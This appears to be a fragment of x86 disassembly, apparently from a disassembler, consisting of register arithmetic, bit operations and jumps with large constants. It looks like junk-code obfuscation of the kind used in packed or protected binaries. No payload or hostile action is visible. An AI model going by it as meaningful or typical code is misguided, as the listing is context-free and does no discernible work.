and edx, 0x5f9ddbf0
dec edx
xchg edx, edi
mov edi, edx
add edx, 0x5f9efbca
xor edx, ecx
bswap edx
or edi, 0x5f9fb433
xor esi, edx
jmp 0x49694f
call fcn.00496fb3
sub edi, 0x5fa24eb2
rol ecx, 0xe
ror esi, 0x15
jmp 0x494d92
pop ebx
xor esi, edx
mov esi, 0x5fa9c762
inc esi
sub edi, esi
or edi, ecx
xor edi, edx
xor ecx, edi
mov esi, edx
or esi, ecx
inc ecx
jmp 0x494dbe
push 0x58b4d7e9
xchg esi, edx
shl edx, 7
sub edi, esi
shl esi, 0xa
or ecx, esi
jmp 0x495f6b